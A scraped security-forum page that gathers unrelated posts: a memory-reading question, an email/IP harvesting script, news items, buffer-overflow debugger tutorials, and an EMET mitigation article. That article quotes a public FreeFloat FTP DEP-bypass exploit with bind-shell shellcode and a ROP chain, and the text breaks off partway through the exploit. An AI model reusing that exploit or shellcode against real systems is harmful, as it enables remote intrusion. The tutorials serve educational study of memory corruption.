Search the Community

Neata. address = 0x0018FB54 address = address + 0x14 address = address + 0x0 address = address + 0x7 ReadProcessMemory(processHandle, address, buffer, bufferSize, byref(bytesRead)) Se rupe filmul la acel "0x0" , prin urmare nu reusesc sa completez pointerul. Am luat la puricat documentatia python cat mi-a permis experienta pana in prezent, am rupt stackoverflow, am cautat si pe rst si nu gasesc un exemplu viabil sa accesez un amarat de pointer. Am invartit variabila aia de am innebunit, de ieri ma chinui intruna. Am luat cateva snipetturi de cod C++ si le-am transcris in python insa nu faceau obiectul problemei prezentate mai sus, ci ma aducea intr-un punct in care am mai fost, sa inaintez cu 2-3 offset-uri asta daca vreun offset nu echivala cu decimal mai mare de 99 (de ex am avut offset +444 (1BCh) si iar s-a rupt filmul ca la 0x0, nu schimba cu nimic rezultatul final oricate offset-uri ii mai adaugam dupa acel +444. Provocarea principala este ca vreau sa pot manevra un proces la fel de usor si rapid prin cod Python nu C++ (am fix pe creier) si inafara de impedimente de astea stupide nu am avut nici o dilema pana in prezent care sa ma retina mai mult de 6-7 ore pana sa gasesc o rezolvare. Sistem de operare: Windows 7 x64 Aplicatiile pe care exersez: x32 Multumesc anticipat.

grabbit.py Python script for grabbing email or IP addresses (optional with port) from a given file. Installation Clone the github repo git clone https://github.com/vlad-s/grabbit Usage """ grabbit.py grabs email/ip(:port) strings from a given file """ from __future__ import print_function # pylint needs this for py3k from socket import inet_aton # non regex ip validation from os import access, R_OK # file access validation from sys import stdout # write to stdout if no file specified import re import argparse __author__ = "Vlad <vlad at vlads dot me>" __version__ = "0.1" __license__ = "GPL v3" __description__ = "python script for grabbing email or ip addresses \ (optional with port) from a given file. " PARSER = argparse.ArgumentParser(description=__description__) GROUP = PARSER.add_mutually_exclusive_group() GROUP.add_argument('--email', help='match an email address', action='store_true') GROUP.add_argument('--ip', help='match an ip address', action='store_true') GROUP.add_argument('--ip-port', help='match an ip:port', action='store_true') PARSER.add_argument('-s', '--separator', help='separator used when data is \ column separated using one or more characters') PARSER.add_argument('-w', '--write', help='file to write in (default stdout)') PARSER.add_argument('file', help='the file to look in') ARGS = PARSER.parse_args() if not (ARGS.email or ARGS.ip or ARGS.ip_port): print("You have to select an option.") exit(1) if not access(ARGS.file, R_OK): print("Can't open the file, exiting.") exit(1) if ARGS.write is not None: try: OUT = open(ARGS.write, 'w') except OSError: print("Can't write to file, permission error, exiting.") exit(1) else: OUT = stdout if ARGS.separator is not None: SEP = ARGS.separator.encode('utf-8').decode('unicode_escape') else: SEP = None VALIDMAIL = re.compile(r'^[^@ ]+@[^@]+\.[^@]+$') def is_valid_ip(ip_address): """ Returns the validity of an IP address """ if not re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', ip_address): return False # first we need a valid ip form try: inet_aton(ip_address) # check if it's a valid ip address except OSError: return False return True for line in open(ARGS.file, 'rb'): line = line.strip().split(SEP.encode('utf-8')) if ARGS.email: found = [OUT.write(s.decode('utf-8') + '\n') for i, s in enumerate(line) if VALIDMAIL.match(s.decode('utf-8'))] OUT.flush() else: for string in line: string = string.decode('utf-8') if ARGS.ip_port and len(string.split(':')) == 2: # IP:Port ip, port = string.split(':') if is_valid_ip(ip) and 0 < int(port) < 65535: OUT.write('{}:{}\n'.format(ip, port)) OUT.flush() elif ARGS.ip: if is_valid_ip(string): OUT.write(string + '\n') OUT.flush() Source (w/ shameful advertising): https://github.com/vlad-s/grabbit

If you are well-informed about the basics of online security and anonymity, then you would be aware of the importance of IP address. If the person hunting you gets to know your IP address, it means you are done. But, Ben Caudill has made a device that will put your final IP address 2.5 miles away. At the next month’s Def Con hacker conference on Las Vegas, security researcher Ben Caudill will reveal an extraordinary device called ProxyHam. The promises being made by the researcher would definitely delight the people looking for privacy and anonymity. This device operates using the long-distance WiFi and 900 MHz radio connection. In the ideal conditions, ProxyHam can transmit WiFi up to a distance of 2.5 miles. So let’s suppose you are being watched by authorities and they end up cracking your system’s IP address. Now what would they do? They would come on the scene only to find a ProxyHam device transmitting WiFi signal. According to Caudill, technologies like Tor and its alternatives could provide anonymity but the flaws still exists i.e. a direct connection between your IP address and physical location. So, if your IP address is discovered, everything is over for you. This is where ProxyHam comes into play. It acts a “hardware proxy” that routes local traffic through a distant WiFi network. Thus, detecting the true traffic source becomes more difficult. At Def Con, the device will be demonstrated and the full code along with hardware specifications will be made freely available. This comprises of a WiFi enabled Raspberry Pi computer with three antennas. One is used to connect to a source WiFi network (some public WiFi) and the other two are used to transmit the signal at 900 MHz frequency. The users would have to plug a 900 MHz antenna to their computer to pick up the signal. Caudill tells Motherboard: “We consider this the last or worst case scenario, the absolute fallback plan if everything else fails.” Sursa

In previous articles, we got to know the basics of the Stack Based Buffer Overflow and changing the address in the run time by modifying the register value using the debugger. In this article, we will analyze another simple C program which takes the user input and prints the same input data on the screen. In this article, we will not change any values by modifying the value through debugger like we did in the last article, but we will learn how to do it by user input values. Let us have a look at the program. In the program shown in the above screen shot, we have created two functions marked as 1 and 2. The 1st is the main function of the program from where the program execution will start. In the main function, there is a command to print message on the screen, then it is calling the V1 function. The 2nd one is defining the V1 function in which we have defined an array of size 10, then there are commands to take the user input and print it back to the output screen. In the V1 function, we have used the ‘gets’ function to take the user input. The ‘gets’ function is vulnerable to buffer overflow as it cannot check whether the size of the value entered by the user is lesser or greater than the size of the buffer. So, ‘gets’ would take whatever value the user enters and would write it into the buffer. If the buffer size is small, then it would write beyond the buffer and corrupt the rest of the stack. So, let’s analyze this with a debugger. Note: You can download the EXE file here: Download Now, let’s run this program normally. We can see that our program runs perfectly and it asks to “Enter the name”. When we enter the name and hit the enter key it accepts the value without crashing the program, as the input string is less than the size of the buffer we have created. Now, let us run the program again in the same manner, but this time we will enter a value which is greater in size than the buffer size. For this we enter 35 A’s (41 is the hexadecimal representation of A), then the program throws an error and our program gets crashed. We can see the same in the below screen shot. If we click on “click here” in the window shown in the above screenshot, we can see the following type of window on the screen. By closely looking into the red box, we can see the offset is written as ‘41414141’, which is actually the hexadecimal value of A. This clearly indicates that the program is vulnerable to buffer overflow. Note: In many cases, an application crash does not lead to exploitation, but sometimes it does. So, let us open the program with the debugger and create a break point just before the function ‘V1? is called and note down the return address. The return address is actually the next instruction address from where the function call happened. We can see the same in the below screen shot. (We have already mentioned all the basics in previous articles, so we are not going to discuss basics in detail again.) We can create the break point by selecting the address and pressing the F2 key. Run the program by hitting the F9 key and then click on F7 which is Step Into. It means we have created a break point before the V1 function call, after that the function ‘V1? is called and execution control has switched to the V1 function, and the Top of the Stack is now pointing to the return address of the main function, which can be seen in the screen shot given below. Now, we will note down the written address position as well as the written address from the Top of the Stack, which is the following. Table 1 Return Address Position Address Return Address to the Main Program 0022FF5C 004013FC We will overwrite this return address with the user input data in the next step of the article. If we look at the program screen we can see ‘Main Function is called’ is being shown on the screen. Now, hit Step Over until we reach the ‘gets’ function. This can be done by pressing the F8 key. As can be seen in the above screenshot, we have reached the gets function, now the program has continued to run. When we look at the program screen, we can see the program is asking to enter the name, so enter the name and hit the enter key. As can be seen, when we enter the name and hit the enter key, then execution control has moved to the next instruction and the program has again reached the Paused state. Now, hit the Step Over (F8 Key) until we reach the RETN instruction. If we look into the window 4 now, we can see that the top of the stack is pointing to the return address which is the following. Table 2 Return Address Position Address Return Address to the Main Program 0022FF5C 004013FC Now, we will have to compare the addresses of Table 1 and Table 2. Till now nothing caused any change in the tables we created, as we did not input anything wrong in the program. So, let us restart the program again and input a very long string value into the program input and analyze the return address when the program execution control reaches the RETN instruction. We can restart the program by pressing CTRL+F2 and input 35 A’s into the program. As can be seen in the above screenshot, we have entered a very long input value in the program, now hit the F8 key (Step Over) until we will reach the RETN instruction. Now, we will create another table and note down the Top of the Stack values into the table. Table 3 Return Address Position Address Return Address to the Main Program 0022FF5C 41414141 If we compare Table 2 and Table 3 addresses, we can see return address to the main program has been replaced to 41414141 in Table 3. 41 is actually the ASCII HEX value of A. So, we can see the return address has been overwritten by the user input value A. Now think, what if we could modify the input value at this position, and write some different address which points it to a location in the memory that contains your own piece of code. In this way, we can actually change the program flow and make it execute something different. The code that we want to execute after controlling the flow is often referred to as a “SHELLCODE”. We will discuss shellcode in later articles. But the string that we have entered contains 35 A’s, we do not know which ones have overwritten the stack. We will have to identify the positions in the user input where the stack is overwritten into the memory. We can do it by entering some pattern instead of A’s. The input pattern could be anything. We will use the following pattern. A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7U8S9T0U1V2W3X4Y5Z6 In this article, we have created this pattern manually, but in further articles we will use automated Metasploit scripts to generate the pattern. Now, we need to restart the program again in the debugger and enter the above pattern as an input in the program we created. As can be seen in the above screenshot, we have entered the pattern when the program asked for the input. Now, press F8 (Step Over) until we reach the RETN instruction. As we can see in the screenshot, we have reached the RETN instruction which can be seen in screen 1, and the Top of the Stack address has been overwritten by the user input and is pointing to the value “O5P6?. So, this 4 byte data is actually the return address in the user input. So, let us verify this by replacing the “O5P6? to “BBBB” in our pattern before entering the user input. So, now according to our logic, the return address should point to “BBBB” in the memory when we reach the RETN instruction. As can be seen in the above screenshot, our B’s have been successfully written in the position where the return address should be. So, if we change our B’s to the address somewhere else in the memory, then the program execution would go to that address and execute that instruction. In this way, we can control the program flow and run our own code just by manipulating the input data. So we have understood the following things by completing this exercise: Finding and Analyzing Buffer Overflow Overwriting Stack by User Input Data Identifying the Return Address Position in User Input References https://www.owasp.org/index.php/Buffer_overflow_attack http://en.wikipedia.org/wiki/C_file_input/output http://www.exploit-db.com/ http://www.pentesteracademy.com/ https://www.corelan.be/ Source

In the previous article, we learned about the basics of the Stack Based Buffer Overflow, such as analyzing the stack, creating breakpoints and analyzing the function call and registers. With the help of these skills, we will now see how we can manipulate the return addresses dynamically into the program. We will analyze a program in which a function ‘do_not_call’ is defined but has never been called throughout the program. So, our goal is to change the register address in a way so that this function is called and performs the operation which is given in the function. We will perform this task by manipulating the register addresses while the program is running. Let’s take a look at the program. We have already given the source code and the binary file of the program in the end of the article. You can download it here: Download As can be seen in the above screenshot, we have mentioned a number for each function. The description for the same is given below. First of all, we have created a function “do_not_call” which prints the message “Function do_not_call is called” by the printf command. This is another function. The name of this function is ‘function1?, which has the integer return type with one argument. In the next line we have created a local variable. This function prints the message “function1 is called”. This is the main function of the program. The program execution will begin with this function. First, we gave a command to print the message “Main function is called”, and in the next step we initialized the local variable. In the next line, we have called the ‘function1?. You must have noticed that we have not called the “do_not_call” function in our program. Let us verify it by running the program normally. As we can see in the above screenshot, when we run the program normally, it prints two messages, ‘Main Function is called’ and ‘Function1 is called’. Now, we will open the program in Immunity Debugger. After opening the program with Immunity Debugger, we can see four different screens. Each screen is showing a different kind of program data. If we scroll down the first screen we can see all assembly language instructions as well as the strings we have used in the program. You can see the same in the screenshot given below. As can be seen in the above screenshot, the main function starts by pushing the EBP resister into the memory and ends at the RETN instruction. For a better understanding, we have created a table in which we have the starting and ending address of all the functions defined in our program. Function Name Function Starting Address Function Ending Address Main Function 004013C4 00401416 Function 1 004013A4 004013C4 Do_not_call 00401390 004013A3 Now we will make a list of all the function calls taking place in the program. After analyzing the main program, we can see the following function calls: After taking a close look at the above screenshot, we find that there are four function calls in the main program. If we closely look at the functions which are being called, then in the fourth function call, we can see that it is calling to ‘Second.004013A4? in which the last 8 digit address is actually the starting address of ‘function1?. We can verify the same by checking the table we have created above. In simple terms, this statement is calling function1 as we have defined in the program source code. Now, we will create a break point to analyze the Stack, Return Addresses, etc. (We have already mentioned all the basics in the previous article, like what is a breakpoint and how do we create a breakpoint in the debugger, etc., so we are not going to cover this again in this article.) The following steps are mentioned below to further analysis. Create the breakpoint before the 4th function call. We can do this by clicking on the instruction and hitting the F2 key, after that run the program. We can run the program by pressing F9. Now, we can see the following screen in the debugger. As of now, the program execution control has reached that position where we have created the breakpoint. In screen 1, we have created the breakpoint on “00401401” and now the program has paused on this instruction. We can see in screen 2 the EIP register is pointing to the address at which we have created the breakpoint. Now we will execute the instructions step by step for understanding the concept more clearly. Let us execute the next instruction; we can do this by pressing the F7 key, which is Step into. As we can see, execution control is pointing to the next instruction in screen 1 and EIP is also pointing to the instruction address. Now, the execution control would go to address “004013A4? which is the starting address of the function1. We will now execute it and see what changes we come across. Again hit the F7 key to execute the next instruction. We get the following output screen. This step is very critical and important to understand. As can be seen in the above screenshot, the execution pointer has switched from 00401408 (No-1) to 004013A4 (No-2) which is the starting point of ‘function1?. Also, when we take a look at screen 4 we see that the Top of the Stack (No-3) is pointing the address 0040140D (No-4), which is the next instruction from the function call. This address is also called the return address to the main program. It means that after the execution of ‘function1? is complete, then the execution control would switch to this address. If we change this return address, we can actually change the order of execution of the program. So, let us change the return address in the debugger with the address of the ‘do_not_call’ function address which was in the above table. The function “do_not_call” address is: “00401390” To change the address, we will have to right click on the address and click on modify. After that, change the Hexadecimal value and then click on OK. Now, we can see our changes are reflected on screen 4. The top of the stack is pointing to the address of the ‘do_not_call’ function. This will allow us to execute the ‘do_not_call’ function, which was not supposed to be executed in the actual program. Now, we will execute each instruction step by step until we reach the RETN instruction. As we can see, program execution control has reached the RETN instruction. It means the function1 execution has completed and now the execution control will go to the main program (according to our program), but we had changed the return address in the previous step to the function ‘do_not_call’, so the execution control will go to the ‘do_not_call’ function and execute the instruction that it is defined to execute. So, let us execute next instruction step by step and we will see the ‘do_not_call’ function has successfully executed. We can verify the same by checking the output of the program. As can be seen in the above screenshot, by dynamically changing the return address of the program, we are successfully able to execute the function the program was not supposed to execute. So in this article we have learned… Monitoring and Analyzing the Register Value Analyzing Top of Stacks Changing the Return Address References https://www.owasp.org/index.php/Buffer_overflow_attack http://en.wikipedia.org/wiki/C_file_input/output http://www.exploit-db.com/ http://www.pentesteracademy.com/ Source

Buffer overflow is a very common and widely known software security vulnerability. It is a condition which occurs when more data is written into a block of memory (buffer) than it is allocated to hold. As buffers are created to hold a definite amount of data, the excess information stored gets overflowed to the adjacent buffers, causing overwriting or damaging the valid data which is already stored. In order to exploit buffer overflow, one should have basic knowledge about topics like stacks, CPU registers, memory allocation, etc. As it is a very vast topic in itself, in this article we will try to understand the basics of the Stack Based Buffer Overflow. First of all, we will create a simple C program and cover the basics, like how the program runs in the memory, how the function call takes place, what is the return address, etc. So let’s start with the basics. A stack is a continuous block of memory which is used to store the temporary data within your program. The stack works on a Last in First out (LIFO) basis. PUSH and POP are the two working functions in which PUSH is used to put data into the stack and POP is used to remove the data from the stack, and it grows downwards towards lower memory addresses to higher memory addresses on Intel based systems. In Intel 32 bit architecture the maximum data size would be 4 bytes, which is equal to 32 bits for each PUSH and POP operation. Basically, the stack holds following types of data of the program. Argument to the Function Calling Function Address Return Address Local Variable and couple of other things. We will see each of them in detail further in this article. Before that, let us install some tools needed for the practical session. Here, we are using the following setup. We have configured Windows XP Service Pack 2 on Virtual Machine. Immunity Debugger (We can download it by searching Google or we can by clicking on the URL which is given in the references at the end of the article.) Dev C ++ (We can download the tool by clicking the form below.) Download Note: We are assuming that you have configured the required tools and have basic knowledge about assembly language. First of all, we will start looking at the things like function call in the memory and return address etc. from the very starting stage. We have already written a simple C program in which we have defined a function which is called from the main program. The EXE file and source code of the program are given at the end of the article. We can download the EXE and the source code of the files by clicking the URL given at the end of the article. Let’s have a look at the source code of the program so that we can understand the basic concepts. As seen in the above screen shot, we have written a simple program in which we have defined some local variables; after that we have called a function with one argument value. Then, we defined the function which will print the message – “Function is called”, then we returned value 1 to the main program. After compiling the program, we will open the program with Immunity Debugger. We can open the program by clicking the file menu or dragging the .exe file into the debugger. After that, we will see the following type of code on the screen. Now, we can see four sections on the screen. Each section represents a different type of CPU processing stat. Each section is defined below. In this section, we can see the de-assemble output of the .exe file. This section gives the information about various registers and their values. We can see the various type of registers and their values in the above screen. In this section, we can see the memory dump of the program. We can see what type of data has been written by the program into the memory. We can also edit these values dynamically according to the requirement. This is the most important part: it shows the stack status of the program. If we closely look into the screen we can see ‘paused’ written in the right corner of the window. This means that after opening the program with the debugger, the debugger has paused the program, so we will have to start the program manually. Now let’s start our analysis. The first step is to identify the main function and the other functions we have defined in the program, which are then loaded into the computer memory. If we scroll down in the first area, which is the de-assemble output of the program, we can see the ASCII main function with the EXE name and another function with the assembly language code. In our case the EXE file name was First.exe so we can see the same on the screen with some extra value. In the above screenshot we have pointed to some numbers. These numbers are defined in the below section for better understanding. This is the main function in the assembly language. We can see it in the screenshot name “First.xxxxx ASCII “Main Function””. In this case, First.xxx is the name of the .exe file we have loaded into the debugger. In the left hand side, we can see the memory address according to each assembly instruction. This is basically the physical memory address of the instruction. 00401290 is the address in our case in which the program has been started. And 004012DA is the address (in our case) in the memory where the program has finished. It is the function call from the main program. This line is basically calling the function which we have defined in the C program. When we closely look at the main function call, we can see that it is calling the “First.004012D3? in which the last 8 digits are the address of the function which will be called. In the end, we can see the function loaded into the memory, which is printing the value “Function is called” through the printf function, which has been called from the program. The function has started by pushing the EBP register into the stack. In our case, the starting address of the function is “004012DE”, and the function completion address is “004012FE”. Both the addresses can be seen in the above screenshot. It is the most important part, as we will see how we can define the break point in the program. A break point helps us to freeze the program at that location and allows us to analyse things like register status, stack and frame pointer. It also allows us to change the values dynamically. So, let us create a break point just before the function call. We can set the break point by selecting the row by just clicking on it and pressing F2 for creating the break point. As shown in the above screenshot after creating the break point, the row has been highlighted. Now, we need to start the program. We can do it by hitting the F9 key. We will see some changes in the numbers on the screen. In the above screenshot we can see that the stack value has been changed and the register value has also been changed. Another interesting thing is the EIP register which holds the value at which we had set the break point. Now, we will have to use two options. Step Into Step Over Step Into: when we want to execute the next instruction after creating the break point, then we will have to use Step Into. The keyboard shortcut key for Step Into is F7. Step Over: Sometimes we do not want to get into the details of the function call, so in such situations we can use Step Over. The keyboard shortcut key for Step Over is F8. Now, we have to go to the next instruction, so press the F7 key as mentioned in the above step. Let us analyse the stack now. As shown in the above screenshot, nothing interesting is showing in window no 4, but we can see in window no 1 that the next instruction has been executed, and the next instruction address has been assigned into the EIP register in window no 2. We will execute the next instruction by pressing the F7 key. After this step, the screen will look like this: We can see that the next instruction has been executed and we can see lots of changes in the screen. First of all, we have noticed that the instruction executed controller has reached the address given in the previous call function. This is visible in window no 1. When we closely look into window no 4, at the top of the stack we can see the address 004012D4, which is the return address to the main program. It means after the function execution has completed, by using this address the counter will go to the main program and the program execution gets completed. So in this article we have learned… Analysing the Stack Creating the Break Point Analysing the Function Call and Register Status. References IMMUNITY : Knowing You're Secure https://www.owasp.org/index.php/Buffer_Overflows Buffer overflow - Wikipedia, the free encyclopedia Stack buffer overflow - Wikipedia, the free encyclopedia http://www.bloodshed.net/dev/devcpp.html Source

Microsoft files lawsuit against Verizon IP seeks damages for hundreds of suspicious Windows 7 activations from a Verizon IP address Verizon has incurred the wrath of Microsoft for allegedly activating hundreds of copies of Windows 7 illegally. In a lawsuit filed at a Washington court, the Seattle-based company has asked the court to let it serve a subpoena on Verizon to force the Internet provider to identify those behind a two-year scheme that supposedly logged hundreds of suspicious product activations from a Verizon IP address and is now seeking damages. In its 29 year history, Microsoft’s Windows operating systems have been pirated millions number of times. On some levels, it is a practice that Microsoft has accepted with regular consumers largely trying to keep away from the company’s aggression. However, the same cannot be said of those pirating the company’s products on a commercial scale. According to documents filed with a U.S. District Court in Seattle last week, Microsoft targets individuals behind a single IP address 74.111.202.30, which was the origin of the Windows 7 product activations. Microsoft will not be able to find who are responsible for this serious Windows pirating, unless Verizon provides the subscriber name or names for that address. Microsoft said “Microsoft seeks leave to serve a Rule 45 subpoena on Verizon Online to obtain subscriber information associated with the infringing IP address at the time of the alleged acts of infringement.” “As part of its cyberforensic methods, Microsoft analyzes product key activation data voluntarily provided by users when they activate Microsoft software, including the IP address from which a given product key is activated,” the lawsuit reads. Microsoft says that its forensic tools lets the company to examine billions of activations of Microsoft software and identify patterns “that make it more likely than not” that an IP address connected with activations is the one through which pirated software is being activated. Currently, the address is established with Verizon FIOS, the Internet provider’s broadband service. These activations have features that on facts and belief, indicate that Defendants are using the IP address to activate pirated software. In a complaint filed on April 28, Microsoft laid out its case, naming a series of “John Does”, as it had not been able to find the real names of the alleged culprits. Microsoft said “The infringing IP address has been used to activate hundreds of copies of Windows 7,” using stolen or illegal activation keys. Some of the keys had been stolen from its supply chain, others were keys appointed for OEMs but instead used by an unauthorized party, and still more were legit keys that were used more than it was allowed for. One of Microsoft’s primary anti-piracy technologies is Product activation and it depends on the unique 25-character code allocated to each copy of the operating system. Customers and OEMs activate Windows by connecting to Microsoft’s servers. “Based on the volume and pattern of their activation activity, on information and belief, defendants appear to consist of one or more commercial entities that subsequently distributed those systems to customers who, on information and belief, were unaware they were receiving pirated software,” the complaint read. Microsoft examined the incoming product activations from the single source, and deduced that the “activation patterns and characteristics … make it more likely than not that the IP address associated with the activations is an address through which pirated software is being activated.” Senior Paralegal at Microsoft in an affidavit asserted that the pirates had been operational for “at least the past two years.” Once Microsoft is able to identify the people responsible for the IP address, it plans to sue them for copyright and trademark infringement, deceptive practices, treble damages and attorney fees or, alternatively, statutory damages. Sursa: http://www.techworm.net/2015/05/microsoft-wants-verizon-to-hand-over-names-of-suspected-windows-pirates.html

Please use the promotion code "dbm_free" to get one year free VPS hosting. Maximum one package per client. We will verify all orders manually. Please provide non-free email address or social network account in order to pass our verification. aHR0cDovL3d3dy52cHMtbWFydC5jb20vV2luZG93cy1WUFMuYXNweA==

For today we will try to load balance 2 Debian servers. This tool can be used for servers like Web, Application, Gateway and so on. Toold used for this is named UCARP and is very good for high-availability servers. To be able to use it we must install it for both servers named in this example WS1 and WS2 using command: ~# apt-get install ucarp -y Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: libpcap0.8 The following NEW packages will be installed: libpcap0.8 ucarp 0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. Need to get 165 kB of archives. After this operation, 504 kB of additional disk space will be used. After installing we should edit /etc/network/interfaces file on both servers. For WS1 the config file will look like the next one: auto eth0 iface eth0 inet static address 192.168.69.10 netmask 255.255.255.0 network 192.168.69.0 broadcast 192.168.1.255 gateway 192.168.69.1 ucarp-vid 2 ucarp-vip 192.168.69.2 ucarp-password Hackyard ucarp-advskew 10 ucarp-advbase 1 ucarp-master yes auto eth0:ucarp iface eth0:ucarp inet static address 192.168.69.12 netmask 255.255.255.255 For WS2 the config file will look like the next one: auto eth0 iface eth0 inet static address 192.168.69.11 netmask 255.255.255.0 network 192.168.69.0 broadcast 192.168.1.255 gateway 192.168.69.1 ucarp-vid 2 ucarp-vip 192.168.69.2 ucarp-password Hackyard ucarp-advskew 20 ucarp-advbase 1 ucarp-master no auto eth0:ucarp iface eth0:ucarp inet static address 192.168.69.12 netmask 255.255.255.255 After done editing both interfaces config file we will restart interfaces using command: # /etc/init.d/networking restart Now load-balancing server is done. Author: razvan1@hy

URL: Anger Central - Where Angry People Come To Yell Metoda nu conteaz?. Chall-ul este valabil pân? la data de: 31 martie 2015. Chestii ce ar putea s? ajute: /ac/.htaccess /ac/.htpasswd /reports/index.php /stats/index.html /stats/.htaccess

In Part 1, we explained GS cookies and Safe SEH. If you haven’t read that part, it is highly recommended to read it first. The Enhanced Mitigation Experience Toolkit, or EMET, is rudimentally a shield or a shell that runs over Windows applications and protects them, regardless of how those applications have authentically been coded by their developer, to capitalize on security guards that are built into the Windows operating system. EMET is a wrapper that enables and enforces a set of protections that, when used together, genuinely enhance the security posture of a machine and greatly reduce the chance that exploits can run against your machine and cause any harm—most will simply fail to execute thoroughly. It is particularly auxiliary in guard against exploits that have not yet been patched by a software developer, making it a key implement that should be in your security arsenal. In this article we are going to explain EAF (Export Address Filtering), which prevents shellcode execution. This scenario comes into play if the attacker somehow has managed to bypass the previously mentioned exploit prevention mechanism. This technique will not let the attacker execute some important parts of the shellcode. It is an application-wide protection. It will inject EMET.dll inside the specified process for protection against shellcode execution. Shellcodes locate IAT using PEB.ldr. EAF prevents the access to this location. EMET.dll puts a hardware break point on read at PEB.Ldr and catches the exception using a Vectored Exception. This exception is the first handler, which means it will be called before any other Vectored Exception Handler. The handler will check if the faulty address is in the range other than loaded modules. In that way, the IAT parsing is prevented by EMET. The Vectored Exception Handler looks like this: In order to test it, we can use the following c file that mentions PEB.LDR in the code. __asm { xor edx, edx // zero edx mov edx, fs:[edx+0x30] // get a pointer to the PEB mov edx, [edx+0x0C] // get PEB->Ldr mov edx, [edx+0x14] // get the first module from the InMemoryOrder module list } This code chunk to get InMemoryOrder Module will fail under EAF. Heap spray protection The heap spraying technique has been used in browsers for so long now. Heap spraying is basically used to bypass ASLR (address space layout randomization). In this technique, a large chunk of data is allocated to a range where it is easy to predict the address. If we allocate a large buff, fill it with 0x04 only, and make it reach far beyond address 0x04040404, and after that, if we land at location 0x04040404, the following side effects would take place: MOV EAX,DWORD PTR DS:[ESI] << EAX == 0x04040404 CALL DWORD PTR DS:[EAX+10] << JMP 0x04040404 because [eax + 10] =0x04040404 Other NOP like behaving addresses are: 0x05050505 = ADD EAX,5050505 <<< acts as a NOP 0x0c0c0c0c = OR AL, 0C << also acts as a NOP 0x0d0d0d0d = OR EAX,0d0d0d0d EMET protects against heap spray by allocating memory at these regions and filling them with random data. Deep hooks This technique applies for ROP prevention. It prevents ROP attacks on a vulnerable application. The technique is predicated on the key observation that after exploitation it must use ROP code to leverage the attack, and in this process interact with system calls. Examples of such interaction include starting other processes, opening files, etc. Using this information, we can define a concept of critical function: A critical function is a function by executing which the attacker can modify system behavior, either by making modifications to the recollection or the current process. Some examples of critical functions include: 1 CreateProcess 2 VirtualProtect, VirtualAlloc, LoadLibrary – 3 OpenFile In order to exploit successfully, the ROP Code will require to call at least one critical function from the ROP code. Deep hooks utilize this observation to perform the checks only when one of the critical functions gets called: when a critical function gets called, the opportune checks will be performed to determine if the critical function was called from the ROP code or as a component of mundane program execution. It is quite important to note that ROPGuard does not contain a hardcoded list of critical functions. Instead, critical functions are defined in ROPGuard’s configuration file. In this way, critical functions can be integrated at any time to amend security and even process-categorical critical functions can be integrated. Similarly, critical functions can be abstracted in order to amend the performance of the system. It is additionally consequential to note that the current prototype bulwarks only the functions in the utilizer mode. To obviate the assailant from bypassing these functions, the same protections could be integrated to the kernel counterparts of the defined critical functions. In order to demonstrate that, we will use a ROP exploit on sample application protected using deep hooks. For a vulnerable application, we will use FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass) by blake. http://www.exploit-db.com/exploits/17886/ #!/usr/bin/python import socket, sys from struct import pack print "\n===============================" print "Freefloat FTP Server DEP Bypass" print " Written by Blake " print "===============================\n" target = "localhost" port = int("21") # 728 bytes for shellcode #Bind Shell shellcode port 4444 shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4" "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c" "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07" "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07" "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e" "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f" "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38" "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65" "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a" "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74" "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5" "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80" "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4" "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80" "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82" "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a" "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70" "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6" "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4" "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6" "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4" "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53" "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84" "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51" "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a") buffer = "\x41" * 230 eip = pack('<L',0x77F6100A) # RETN - shlwapi rop = "\x42" * 8 # compensate rop += pack('<L',0x5D09382C) # POP EBX, RETN - msvcirt rop += "\xff\xff\xff\xff" rop += pack('<L',0x77c127e1) # INC EBX, RETN rop += pack('<L',0x5d093466) # POP EBP, RETN rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy rop += pack('<L',0x5d095470) # POP EDI, RETN rop += pack('<L',0x5d095471) # RETN rop += 